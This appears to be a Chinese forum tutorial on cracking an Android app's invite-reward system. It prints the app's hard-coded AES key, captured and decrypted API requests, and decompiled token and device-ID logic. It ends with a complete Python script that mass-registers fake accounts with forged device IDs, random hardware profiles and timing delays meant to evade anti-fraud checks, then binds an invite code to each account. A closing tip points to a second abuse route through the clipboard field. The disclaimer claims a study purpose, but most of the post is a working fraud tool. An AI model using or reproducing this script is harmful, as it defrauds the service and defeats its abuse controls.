高中生

- 金币
- 1138
- 好评
- 2
- 信誉
- 100
|
本帖最后由 灰烬 于 2026-2-3 19:15 编辑
⚠️ 免责声明
本教程仅供技术交流与学习使用,旨在分析网络协议与安全机制。
1. 文中涉及的脚本和技术细节仅用于演示漏洞原理,严禁用于任何非法商业用途、恶意攻击或黑灰产行为。
2. 请在下载后24小时内删除相关文件。
3. 作者不对任何人因使用本教程中的技术或脚本而产生的任何法律后果负责。
4. 如果本帖侵犯了您的权益,请联系删除。
5. 文中所有具体域名和IP均已替换为占位符。
工具准备
- 算法助手(用于Hook加密参数)
- 小黄鸟/HttpCanary(抓包工具)
- MT管理器(用于反编译DEX分析Java逻辑)
- 受害软件:某某岛(H软)
破解思路分析
此类APP通常采用服务器强验证,核心逻辑在于:服务端只信任携带有效Token的请求。
我们的目标是利用“新用户试用”或“邀请奖励”机制。
基本流程:
1. 抓包分析注册/登录接口,获取 Token。
2. 定位加密算法(AES)与密钥。
3. 难点攻关:分析 device_id 的生成逻辑(是否强绑定硬件)。
4. 难点攻关:解决“安全性错误D!”报错,分析请求头与Token构建逻辑。
5. 编写Python脚本实现全自动闭环。
第一步:加密算法分析
使用算法助手Hook加密方法,捕获到以下关键信息(日志未精简,保留原始数据方便对照):
- 时间:2026-02-02 23:48:34
- 算法类型:AES/ECB/PKCS5Padding
- Key类型:javax.crypto.spec.SecretKeySpec
- 加密秘钥(文本):e2bafce13c351958
- 加密秘钥(Base64):ZTJiYWZjZTEzYzM1MTk1OA==
- 加密秘钥(Hex):65326261666365313363333531393538
- 加密Iv(文本):null
- 加密Iv(Base64):bnVsbA==
- 加密Iv(Hex):6e756c6c
- 加密内容(文本):{"deviceId":"5741ba4105005cb0","token":"null_null"}
- 加密结果(文本):���A�r�O���ZZ�e�k��T�p$ߟ�) ��4H�ܜ�]���H����$B !e�XJ�h��4K(部分,其余省略)
- 调用堆栈:
- at de.robv.android.JungeSpoxed.JungeSpoxedBridge$AdditionalHookInfo.callback(Unknown Source:147)
- at b.a.a.a.j.a$a.c(SourceFile:12)
- at com.jbzd.media.fiveonehl.ui.splash.SplashViewMode$ping$1.invokeSuspend(SourceFile:8)
- at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(SourceFile:4)
- at c.a.m0.run(SourceFile:15)
- at c.a.d2.a.u(SourceFile:1)
- at c.a.d2.a$a.run(SourceFile:12)
复制代码
分析结论:
- 算法:AES/ECB/PKCS5Padding
- 密钥:e2bafce13c351958
第二步:抓包协议分析
为了构建脚本,我们需要详细分析请求和响应。以下是抓取的原始数据信息:
1. 注册/登录接口(用于获取Token)
- POST /v1/st/xx HTTP/1.1
- User-Agent: Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; EML-AL00 Build/HUAWEIEML-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 UWS/2.13.1.48 Mobile Safari/537.36 AliApp(DingTalk/4.5.11) Channel/227200 language/zh-CN
- deviceType: android
- version: 4.1.5
- time: 2026-02-02 23:17:15
- Content-Type: multipart/form-data
- Content-Length: 2016
- Host: [域名]
- Connection: Keep-Alive
- Accept-Encoding: gzip
复制代码
该接口解密后的 JSON 请求体:
- {
- "data": {
- "ad_method": "2",
- "app_code": "main",
- "channel_code": "x468498a4",
- "clipboard_text": "",
- "device_id": "07a647de66796825",
- "device_info": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
- "device_information": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
- "domain": "http://[域名]/v1/"
- },
- "deviceId": "07a647de66796825",
- "token": "null_null"
- }
复制代码
注册接口响应体(解密后):
我们需要从中提取 Token 和 UserID。
- {
- "code": 200,
- "data": {
- "token": {
- // ...其他内容
- "token": "e21228a893c46c073d84ee1445f9e9fa",
- "user_id": "52012563",
- "username": "I2ZHH",
- "expired_at": "28800",
- "ip": "[IP地址]"
- }
- },
- // ...其他内容
- "time": "2026-02-02 23:32:46"
- }
复制代码
2. 绑定邀请码接口
- POST /v1/yh/bdfj HTTP/1.1
- User-Agent: ... (同上) ...
- deviceType: android
- version: 4.1.5
- time: 2026-02-02 23:30:05
- Content-Type: multipart/form-data
- Content-Length: 112
- Host: [域名]
- Connection: Keep-Alive
- Accept-Encoding: gzip
复制代码
该接口解密后的 JSON 请求体:
- {
- "data": {
- "code": "I2ZHH" // 邀请码
- },
- "deviceId": "5741ba4105005cb0",
- "token": "3c0382e6fa921df9eccea2d53a26c703_52012563" // 注意这里Token的格式!
- }
复制代码
第三步:Device ID 生成逻辑
在请求体中,device_id 是标识用户身份的核心。通过MT管理器搜索代码,定位到 Lb/a/a/a/e;->a()Ljava/lang/String;。
关键Java逻辑(已精简注释):
- public static final String a() {
- // 1. 尝试从 SharedPreferences (本地缓存) 读取 SP_DEVICE_ID
- String string = sharedPreferences.getString("SP_DEVICE_ID", "");
-
- // 2. 尝试获取 Android ID (部分新系统可能获取为空或受限)
- if (string == null || string.length() == 0) {
- string = Settings.System.getString(context.getContentResolver(), "android_id");
- // ...校验ID是否为000000等无效值的逻辑...
- }
-
- // 3. 【重点】如果上述获取失败,代码会回退使用 UUID 生成!
- if (TextUtils.isEmpty(string)) {
- // 生成随机UUID并去掉横杠 "-"
- String replace = UUID.randomUUID().toString().replace("-", "");
- string = replace;
- }
-
- // 4. 保存生成的ID以便下次使用
- sharedPreferences2.edit().putString("device_id", string).apply();
- return string;
- }
复制代码
结论: 代码逻辑显示,当应用无法获取高权限设备码时,会回退使用 UUID 随机生成。这意味着我们完全可以使用 Python 脚本随机生成 16 位 Hex 字符串来伪造合法的 device_id,服务器无法分辨!
第四步:解决“安全性错误”与 Token 构造
在尝试编写脚本模拟请求时,发现响应体返回内容不对,出现如下报错:
- {
- "status": "n",
- "error": "安全性错误D!",
- "errorCode": 2001
- }
复制代码
排查过程:
检查请求体和 Python 代码,怀疑是 Token 格式或 Header 中的 Content-Length 问题。通过堆栈定位到构建请求体的方法 b.a.a.a.j.a$a.c。
关键 Java 代码逻辑:
- public final class a$a {
- @NotNull
- public final i0 c(@Nullable Object obj) {
- BaseRequestBody baseRequestBody = new BaseRequestBody();
- baseRequestBody.setDeviceId(e.a()); // 设置设备ID
-
- // --- 核心点1:Token 拼接逻辑 ---
- StringBuilder sb = new StringBuilder();
- TokenBean g = MyApp.g();
- // 拼接服务端返回的 token
- sb.append((Object) (g == null ? null : g.token));
- sb.append('_'); // 中间加下划线
- TokenBean g2 = MyApp.g();
- // 拼接服务端返回的 user_id
- sb.append((Object) (g2 == null ? null : g2.user_id));
- baseRequestBody.setToken(sb.toString()); // 设置最终 Token
-
- baseRequestBody.setData(obj);
-
- // --- 核心点2:加密与长度计算 ---
- String jSONString = JSON.toJSONString(baseRequestBody);
- // AES 加密
- byte[] bytes = jSONString.getBytes(Charsets.UTF_8);
- SecretKeySpec secretKeySpec = new SecretKeySpec("e2bafce13c351958".getBytes(), "AES-128-ECB");
- Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
- cipher.init(1, secretKeySpec);
- bArr = cipher.doFinal(bytes); // 得到加密后的字节数组
-
- // --- 核心点3:Content-Length 是字节数组长度 ---
- int length = bArr.length;
- return new h0(bArr, b, length, 0);
- }
- }
复制代码
分析结论:
1. Token 格式:必须是 "token" + "_" + "user_id" 的组合形式。
2. Content-Length:必须是加密后二进制字节数组的长度(不是 Base64 字符串长度)。
第五步:全自动刷邀请脚本
脚本主要功能:
1. 全自动闭环:自动 生成新设备 -> 注册获取Token -> 拼接Token -> 提交邀请码。
2. 智能解密:自动识别服务器返回的是密文还是明文报错,彻底解决解密失败导致脚本崩溃的问题。
3. 防风控:每次请求生成全新的随机 User-Agent 和 Device Info。
4. 随机延时:模拟真人操作间隔。
使用方法:
1. 安装 Python 3 和依赖库:- pip install pycryptodome requests
复制代码
2. 运行脚本,输入邀请码和需要刷的次数。
- import json
- import random
- import string
- import secrets
- import time
- from datetime import datetime
- from Crypto.Cipher import AES
- from Crypto.Util.Padding import pad, unpad
- import requests
- ## --- 核心模块 1: AES 加解密 (增强版) ---
- class AESECBEncryptor:
- def __init__(self, key="e2bafce13c351958"):
- self.key = key.encode('utf-8')
- self.block_size = AES.block_size
- def encrypt(self, plaintext):
- cipher = AES.new(self.key, AES.MODE_ECB)
- padded_data = pad(plaintext.encode('utf-8'), self.block_size)
- return cipher.encrypt(padded_data)
- def decrypt(self, content):
- """智能解密:优先尝试 AES,失败则尝试明文解码"""
- # 1. 尝试直接按 UTF-8 明文解析(处理服务器返回未加密报错的情况)
- try:
- text = content.decode('utf-8')
- # 如果看起来像 JSON,直接返回
- if text.strip().startswith('{') and text.strip().endswith('}'):
- return f"[服务器返回明文]: {text}"
- except:
- pass
- # 2. 尝试 AES 解密
- try:
- cipher = AES.new(self.key, AES.MODE_ECB)
- decrypted_data = cipher.decrypt(content)
- return unpad(decrypted_data, self.block_size).decode('utf-8')
- except Exception as e:
- # 如果解密失败,返回十六进制以便调试
- return f"[解密失败]: {str(e)} | 原始Hex: {content.hex()[:50]}..."
- ## --- 核心模块 2: 设备生成器 ---
- class DeviceManager:
- @staticmethod
- def generate_id():
- """生成合法的 16 位设备 ID"""
- while True:
- device_id = ''.join(secrets.choice('0123456789abcdef') for _ in range(16))
- # 过滤非法 ID (参考 Java 源码逻辑)
- if not (device_id.startswith(("000000", "ffffff")) or device_id == "9774d56d682e549c"):
- return device_id
- @staticmethod
- def get_random_info():
- """生成随机设备硬件信息,模拟真实手机"""
- manufacturers = ["HUAWEI", "Xiaomi", "OnePlus", "Samsung"]
- brand = random.choice(manufacturers)
- models = {"HUAWEI": "TAS-AN00", "Xiaomi": "Mi 11", "OnePlus": "OnePlus 9 Pro", "Samsung": "Galaxy S21"}
- model = models[brand]
-
- info = {
- "product": model,
- "display": f"{brand}{model} release-keys",
- "manufacturer": brand,
- "model": model,
- "version.sdkInt": "29",
- "version.release": "10",
- "device": ''.join(random.choice(string.ascii_uppercase) for _ in range(5)),
- "hardware": "snapdragon888"
- }
- return brand, model, info
- ## --- 核心模块 3: 业务客户端 ---
- class LoliClient:
- def __init__(self):
- self.encryptor = AESECBEncryptor()
- # 请自行替换为抓包获取的实际域名
- self.url_token = "http://[域名]/v1/st/xx"
- self.url_task = "http://[域名]/v1/yh/bdfj"
- self.headers = {
- "deviceType": "android",
- "version": "4.1.5",
- "Host": "[域名]", # 请替换为实际 Host
- "Content-Type": "multipart/form-data",
- "Connection": "Keep-Alive",
- "Accept-Encoding": "gzip"
- }
- def request(self, url, data, ua):
- """统一发送请求"""
- json_str = json.dumps(data, ensure_ascii=False)
- encrypted_data = self.encryptor.encrypt(json_str)
-
- current_headers = self.headers.copy()
- current_headers["User-Agent"] = ua
- current_headers["time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
- current_headers["Content-Length"] = str(len(encrypted_data))
- try:
- resp = requests.post(url, data=encrypted_data, headers=current_headers, timeout=10)
- if resp.content:
- # 使用智能解密处理响应
- return self.encryptor.decrypt(resp.content)
- return "空响应"
- except Exception as e:
- return f"请求异常: {e}"
- def run_cycle(self, code, index, total):
- """执行一次完整的:新设备 -> 领Token -> 提交数据"""
- print(f"\n--- 正在执行第 {index}/{total} 次任务 ---")
-
- # 1. 生成全新设备环境 (防风控关键)
- device_id = DeviceManager.generate_id()
- brand, model, info = DeviceManager.get_random_info()
- ua = f"Mozilla/5.0 (Linux; U; Android 10; zh-CN; {model} Build/{brand.upper()}{model}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 AliApp(DingTalk/4.5.11)"
-
- print(f"[*] 模拟设备: {brand} {model} | ID: {device_id}")
- # 2. 获取 Token (注册新用户)
- token_payload = {
- "data": {
- "device_id": device_id,
- "device_info": json.dumps(info, ensure_ascii=False),
- "device_information": json.dumps(info, ensure_ascii=False),
- "domain": "http://[域名]/v1/",
- "app_code": "main",
- "channel_code": "x468498a4"
- },
- "deviceId": device_id,
- "token": "null_null"
- }
-
- res_token = self.request(self.url_token, token_payload, ua)
-
- # 解析 Token
- full_token = None
- if "token" in res_token and "user_id" in res_token:
- try:
- # 尝试解析响应
- if isinstance(res_token, str) and res_token.startswith("{"):
- res_json = json.loads(res_token)
- if res_json.get("code") == 200:
- t_data = res_json["data"]["token"]
- # 核心逻辑:拼接 Token + _ + UserId
- full_token = f"{t_data['token']}_{t_data['user_id']}"
- print(f"[+] Token 获取成功: {t_data['user_id']}")
- else:
- print(f"[-] Token 获取失败: {res_token}")
- return
- except:
- print(f"[-] Token 解析异常: {res_token}")
- return
- else:
- print(f"[-] 响应异常: {res_token}")
- return
- # 3. 提交业务数据 (使用刚获取的新用户 Token)
- task_payload = {
- "data": {"code": code},
- "deviceId": device_id,
- "token": full_token
- }
-
- # 随机延迟 0.5~1.5秒,模拟真人操作间隔
- time.sleep(random.uniform(0.5, 1.5))
-
- res_task = self.request(self.url_task, task_payload, ua)
- print(f"[>] 业务响应: {res_task}")
- ## --- 主入口 ---
- def main():
- print("=== 全自动无限刷量工具 (每次生成新用户) ===\n")
- code = input("请输入数据代码 (例如 I2ZHH): ").strip()
- try:
- count = int(input("请输入运行次数: ").strip())
- except:
- print("次数输入错误")
- return
- client = LoliClient()
-
- for i in range(1, count + 1):
- client.run_cycle(code, i, count)
- # 批次间歇,防止过快
- if i < count:
- time.sleep(1)
- print("\n[=] 所有任务执行完毕")
- if __name__ == "__main__":
- main()
复制代码
额外提示:
在分析注册接口时,我们还发现了 clipboard_text 字段。通过分析逻辑发现,这是软件用于“剪贴板自动识别”的。如果你在请求体中将此字段设置为包含邀请码的分享链接,实际上也可以实现在注册的同时直接绑定邀请关系,这可能是另一种更高效的刷量思路,留给大家去探索! |
-
查看全部评分
总评分:好评 +2
金币 +2
|